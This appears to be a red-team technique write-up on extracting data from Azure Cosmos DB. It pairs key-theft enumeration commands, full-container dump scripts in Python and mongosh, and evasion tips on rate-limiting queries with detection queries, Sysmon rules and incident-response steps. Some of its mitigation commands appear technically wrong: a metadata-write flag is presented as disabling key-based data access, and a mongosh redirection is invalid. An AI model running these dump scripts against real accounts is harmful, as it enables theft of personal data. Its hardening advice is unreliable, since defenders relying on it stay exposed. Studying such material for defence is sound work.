| Attribute | Details |
|---|---|
| Technique ID | COLLECT-DATA-003 |
| MITRE ATT&CK v18.1 | Transfer Data to Cloud Account (T1537) |
| Tactic | Collection, Exfiltration |
| Platforms | Entra ID (Azure) |
| Severity | Critical |
| CVE | CVE-2021-35467 (Jupyter Notebook credential exposure) |
| Technique Status | ACTIVE (Post-mitigation, vulnerability patched but misconfigurations remain) |
| Last Verified | 2026-01-10 |
| Affected Versions | Azure Cosmos DB all APIs (SQL, MongoDB, Cassandra, Gremlin, Table), Azure Data Explorer 18.0+ |
| Patched In | Jupyter Notebook feature disabled in August 2021; RBAC improvements ongoing |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Azure Cosmos DB data extraction involves unauthorized access to NoSQL databases via compromised primary/secondary read-write keys or Entra ID RBAC roles. An attacker with valid Cosmos DB connection credentials can query entire datasets, export to CSV/JSON via Data Explorer UI, programmatically bulk-read documents via SDKs (Python, .NET, Node.js), or exploit Jupyter Notebooks (historical CVE-2021-35467) to gain OS-level access to Cosmos DB credentials. Unlike SQL databases, Cosmos DB lacks built-in BACPAC export functionality, requiring attackers to programmatically extract data in smaller batches or use bulk operations.
Attack Surface: Cosmos DB primary/secondary keys, Entra ID accounts with Cosmos DB Data Contributor role, Managed Identities with Cosmos DB permissions, connection strings stored in application configuration files, Jupyter Notebook notebooks (legacy), ARM templates containing credentials.
Business Impact: Complete NoSQL database compromise. Attackers gain offline access to document-oriented data including IoT sensor readings, user profiles, application state, and unstructured business intelligence data. Cosmos DB often stores semi-structured data (JSON documents) which is difficult to classify and may contain PII across multiple fields.
Technical Context: Cosmos DB allows document-level queries (SQL API with SELECT * operations). Throughput is limited by RU/s (Request Units per second), so large extractions may take hours but leave minimal anomalies if rate-limited. Data extraction via Cosmos DB SDKs requires application-level authentication, blending malicious traffic with legitimate queries.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 5.1.3, 5.2.1 | Data encryption, access control on cloud databases |
| DISA STIG | SV-256508 | Ensure database encryption at rest |
| NIST 800-53 | SC-13, AC-3 | Cryptographic Protection, Access Enforcement |
| GDPR | Art. 32 | Security of Processing – Encryption, access logs |
| DORA | Art. 9 | Protection and Prevention |
| NIS2 | Art. 21 | Cyber Risk Management Measures |
| ISO 27001 | A.10.1.3 | Segregation of duties for database administration |
| ISO 27005 | Scenario: “Unauthorized database access via compromised key” | Risk of NoSQL data breach |
Supported Versions:
Tools:
# List all Cosmos DB accounts in subscription
az cosmosdb list --output table
# Get Cosmos DB account properties
az cosmosdb show --name <cosmos-account> --resource-group <rg> --query "{Locations:locations, ConsistencyPolicy:consistencyPolicy, PublicNetworkAccess:publicNetworkAccess}"
# List databases in Cosmos DB account
az cosmosdb sql database list --account-name <cosmos-account> --resource-group <rg> --output table
# List containers in database
az cosmosdb sql container list --account-name <cosmos-account> --database-name <db-name> --resource-group <rg> --output table
# Get Cosmos DB connection string (if account-level access)
az cosmosdb keys list --name <cosmos-account> --resource-group <rg> --type connection-strings --query connectionStrings[0].connectionString
What to Look For:
"PublicNetworkAccess": "Enabled")# Connect to Azure
Connect-AzAccount
# List Cosmos DB accounts
Get-AzCosmosDBAccount | Select-Object Name, ResourceGroupName, Location, PublicNetworkAccess
# Get connection keys
Get-AzCosmosDBAccountKey -ResourceGroupName "<rg>" -Name "<cosmos-account>" -Type "ConnectionStrings"
# Get firewall rules
Get-AzCosmosDBAccount -ResourceGroupName "<rg>" -Name "<cosmos-account>" | Select-Object IpRangeFilter
Supported Versions: All Cosmos DB APIs (SQL API example shown)
Objective: Establish connection to Cosmos DB account
Command:
# Install Cosmos DB Python SDK
pip install azure-cosmos
# Alternatively, install with dependencies
pip install "azure-cosmos>=4.0.0"
Objective: Query and download all documents from Cosmos DB container
Python Script:
from azure.cosmos import CosmosClient, PartitionKey
import json
import csv
from datetime import datetime
# Connect to Cosmos DB
endpoint = "https://<cosmosdb-account>.documents.azure.com:443/"
key = "<primary-key>" # Compromised account key
client = CosmosClient(endpoint, credential=key)
# Select database and container
database_name = "targetdb"
container_name = "customers"
database_client = client.get_database_client(database_name)
container_client = database_client.get_container_client(container_name)
# Query all documents (no WHERE clause = complete dump)
query = "SELECT * FROM c"
documents = list(container_client.query_items(query, enable_cross_partition_query=True))
print(f"[*] Extracted {len(documents)} documents from {container_name}")
# Export to JSON
output_file = f"cosmos_extract_{datetime.now().strftime('%Y%m%d_%H%M%S')}.json"
with open(output_file, 'w') as f:
json.dump(documents, f, indent=2)
print(f"[+] Data exported to {output_file}")
# Optional: Export to CSV
csv_file = output_file.replace('.json', '.csv')
if documents:
keys = set()
for doc in documents:
keys.update(doc.keys())
with open(csv_file, 'w', newline='') as f:
writer = csv.DictWriter(f, fieldnames=list(keys))
writer.writeheader()
writer.writerows(documents)
print(f"[+] Data also exported to {csv_file}")
# Upload to attacker storage (using AzCopy or blob storage SDK)
# [Additional code to transfer files to attacker Azure account]
Expected Output:
[*] Extracted 245,000 documents from customers
[+] Data exported to cosmos_extract_20260110_154530.json
[+] Data also exported to cosmos_extract_20260110_154530.csv
What This Means:
OpSec & Evasion:
max_item_count=100 parameterTroubleshooting:
max_item_count parameter or add delays between queriesSupported Versions: All Cosmos DB APIs
Objective: Authenticate and navigate to Data Explorer
Manual Steps:
Manual Steps:
SELECT * FROM cAlternative (Direct Download):
Supported Versions: Azure CLI 2.50+
Command:
# Query Cosmos DB via Azure CLI
az cosmosdb sql query --account-name <cosmos-account> \
--database-name <db-name> \
--container-name <container-name> \
--query-text "SELECT * FROM c" \
--parameters "@c_partition_key=partition_value" > /tmp/cosmos_export.json
# Export container to JSON file
az cosmosdb sql container show --account-name <cosmos-account> \
--database-name <db-name> \
--name <container-name> \
--output json > /tmp/container_schema.json
Supported Versions: Cosmos DB with MongoDB API
Command:
# Connect via MongoDB CLI
mongosh "mongodb+srv://<cosmos-account>:<primary-key>@<cosmos-account>.mongo.cosmos.azure.com/?ssl=true&retryWrites=false&replicaSet=globaldb" --authenticationDatabase admin
# Inside MongoDB shell:
> use targetdb
> db.customers.find({}).pretty() > /tmp/customers.json # Dump collection
> db.customers.count() # Count documents
> db.customers.find({}).forEach(doc => {print(JSON.stringify(doc))}) > dump.txt # Alternative dump
Version: 4.7 (Current) Minimum Version: 3.0 Supported Platforms: Windows, Linux, macOS
Installation:
pip install "azure-cosmos>=4.7.0"
One-Liner (Full Extraction + Upload):
from azure.cosmos import CosmosClient; import json; client = CosmosClient("https://<acc>.documents.azure.com:443/", "<key>"); docs = list(client.get_database_client("<db>").get_container_client("<c>").query_items("SELECT * FROM c", enable_cross_partition_query=True)); json.dump(docs, open("export.json", "w")); print(f"Extracted {len(docs)} documents")
SPL Query:
sourcetype="azure:cosmosdb" (OperationName="Query" OR OperationName="ReadDocument")
| stats sum(RequestChargeUnits) as TotalRUs, count as QueryCount by RequesterObjectId, DatabaseName, ContainerName, bin(TimeGenerated, 5m)
| where TotalRUs > 50000 // > 50K RUs in 5 minutes
| eval TotalGB = round(TotalRUs / 2000, 2) // Approximate GB (rough estimate)
KQL Query:
AzureDiagnostics
| where ResourceType == "COSMOSDB" and Category == "DataPlaneRequests"
| where OperationName == "Query"
| summarize TotalRUsConsumed = sum(RequestChargeUnits), QueryCount = count() by RequesterObjectId, DatabaseName, ContainerName, bin(TimeGenerated, 10m)
| where TotalRUsConsumed > 100000 // > 100K RUs in 10 minutes (abnormal for typical apps)
| join kind=inner (
AuditLogs
| where OperationName == "List Cosmos DB Account Keys"
| project RequesterObjectId, TimeGenerated as KeyTime
) on RequesterObjectId
| where TimeGenerated - KeyTime between (0min .. 30min)
Manual Configuration Steps (Azure Portal):
5 minutesEvent ID: 4688 (A new process has been created)
CommandLine contains "azure.cosmos" OR CommandLine contains "mongosh"Manual Configuration Steps:
gpupdate /forceMinimum Sysmon Version: 13.0+
<Sysmon schemaversion="4.81">
<!-- Detect Python SDK execution with Cosmos DB imports -->
<RuleGroup name="" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="contains">python.exe</Image>
<CommandLine condition="contains">azure.cosmos</CommandLine>
<CommandLine condition="contains">CosmosClient</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Detect MongoDB CLI connection to Cosmos DB -->
<RuleGroup name="" groupRelation="or">
<ProcessCreate onmatch="include">
<Image condition="contains">mongosh.exe</Image>
<CommandLine condition="contains">cosmos.azure.com</CommandLine>
</ProcessCreate>
</RuleGroup>
<!-- Monitor network connections to Cosmos DB endpoints -->
<RuleGroup name="" groupRelation="or">
<NetworkConnect onmatch="include">
<DestinationHostname condition="contains">.cosmos.azure.com</DestinationHostname>
<DestinationPort condition="is">443</DestinationPort>
</NetworkConnect>
</RuleGroup>
</Sysmon>
Alert Name: “Unusual Cosmos DB data extraction detected”
AzureDiagnostics logs for source IP, requester IDManual Configuration Steps:
Search-UnifiedAuditLog -Operations "List Cosmos DB Account Keys" -StartDate (Get-Date).AddDays(-7)
# Combine with subsequent data extraction queries
$keyEvents = Search-UnifiedAuditLog -Operations "List Cosmos DB Account Keys" -StartDate (Get-Date).AddDays(-7)
foreach ($event in $keyEvents) {
$userId = $event.UserIds
$time = $event.CreationTime
Write-Host "[$time] $userId retrieved Cosmos DB keys"
}
Disable Primary Key Authentication (Entra ID Only)
Objective: Eliminate account key theft vector
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Disable key-based access
Update-AzCosmosDBAccount -ResourceGroupName "rg-name" -Name "cosmos-account" `
-DisableKeyBasedMetadataWriteAccess $true
Rotate All Primary and Secondary Keys
Objective: Invalidate compromised keys
Manual Steps (Azure Portal):
Manual Steps (PowerShell):
# Regenerate keys
$account = Get-AzCosmosDBAccount -ResourceGroupName "rg-name" -Name "cosmos-account"
Update-AzCosmosDBAccountKey -Name "cosmos-account" -ResourceGroupName "rg-name" `
-KeyKind "Primary"
Enable Firewall & Virtual Network Restrictions
Manual Steps:
Implement RBAC with Minimal Roles
Objective: Limit data access to authenticated Entra ID identities only
Manual Steps (PowerShell):
# Assign Cosmos DB Data Reader role (read-only) to user
New-AzRoleAssignment -ObjectId "<user-object-id>" `
-RoleDefinitionName "Cosmos DB Data Reader" `
-Scope "/subscriptions/<sub-id>/resourceGroups/<rg>/providers/Microsoft.DocumentDB/databaseAccounts/<cosmos-account>"
Validation Command (Verify Fix):
# Verify key-based access is disabled
Get-AzCosmosDBAccount -ResourceGroupName "rg-name" -Name "cosmos-account" | Select-Object DisableKeyBasedMetadataWriteAccess
# Verify firewall is enabled
Get-AzCosmosDBAccount -ResourceGroupName "rg-name" -Name "cosmos-account" | Select-Object IpRangeFilter, VirtualNetworkRules
Process Names:
python.exe with azure.cosmos importsmongosh.exe connecting to .cosmos.azure.comaz.exe with cosmosdb commandsCloud Audit Operations:
OperationName: "Query" with abnormal RU consumptionOperationName: "List Cosmos DB Account Keys"OperationName: "ReadDocument" with enable_cross_partition_query=trueNetwork:
*.cosmos.azure.com on port 443 from non-standard IPsCloud Logs:
AzureDiagnostics table with OperationName == "Query" and high RequestChargeUnitsAuditLogs table with OperationName == "List Cosmos DB Account Keys"Disk (if SDK extracted locally):
cosmos_extract_*.json, cosmos_export_*.csv.bash_history, PowerShell transcript files1. Containment (0-5 minutes):
# Disable account key access
Update-AzCosmosDBAccount -ResourceGroupName "rg-name" -Name "cosmos-account" `
-DisableKeyBasedMetadataWriteAccess $true
# Regenerate all keys
Update-AzCosmosDBAccountKey -Name "cosmos-account" -ResourceGroupName "rg-name" -KeyKind "Primary"
Update-AzCosmosDBAccountKey -Name "cosmos-account" -ResourceGroupName "rg-name" -KeyKind "Secondary"
2. Investigation (5-30 minutes):
# Retrieve query history
$logs = Search-UnifiedAuditLog -Operations "Query" -StartDate (Get-Date).AddHours(-24) -EndDate (Get-Date)
$logs | Select-Object UserIds, CreationTime, AuditData | Export-Csv "cosmos_queries.csv"
# Identify data extraction patterns
$heavyQueries = $logs | Where-Object { $_.AuditData -match "SELECT \*" }
3. Remediation (30-60 minutes):
# Restore Cosmos DB from backup (if available)
# [Backup restoration steps via Azure Portal or Azure Backup service]
# Implement Entra ID-only authentication
New-AzRoleAssignment -ObjectId "<authorized-user-id>" `
-RoleDefinitionName "Cosmos DB Data Reader" `
-Scope "/subscriptions/<sub-id>/resourceGroups/<rg>/providers/Microsoft.DocumentDB/databaseAccounts/<cosmos-account>"
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker phishes Entra ID credentials |
| 2 | Privilege Escalation | [PE-ACCTMGMT-011] PIM Abuse | Attacker escalates to Cosmos DB Data Contributor role |
| 3 | Collection | [COLLECT-DATA-003] Cosmos DB Data Extraction | Attacker queries and exports all documents |
| 4 | Exfiltration | [COLLECT-DATA-001] Blob Storage Exfiltration | Data transferred to attacker storage via AzCopy |
| 5 | Impact | [IMPACT-001] Data Destruction | Attacker deletes database containers |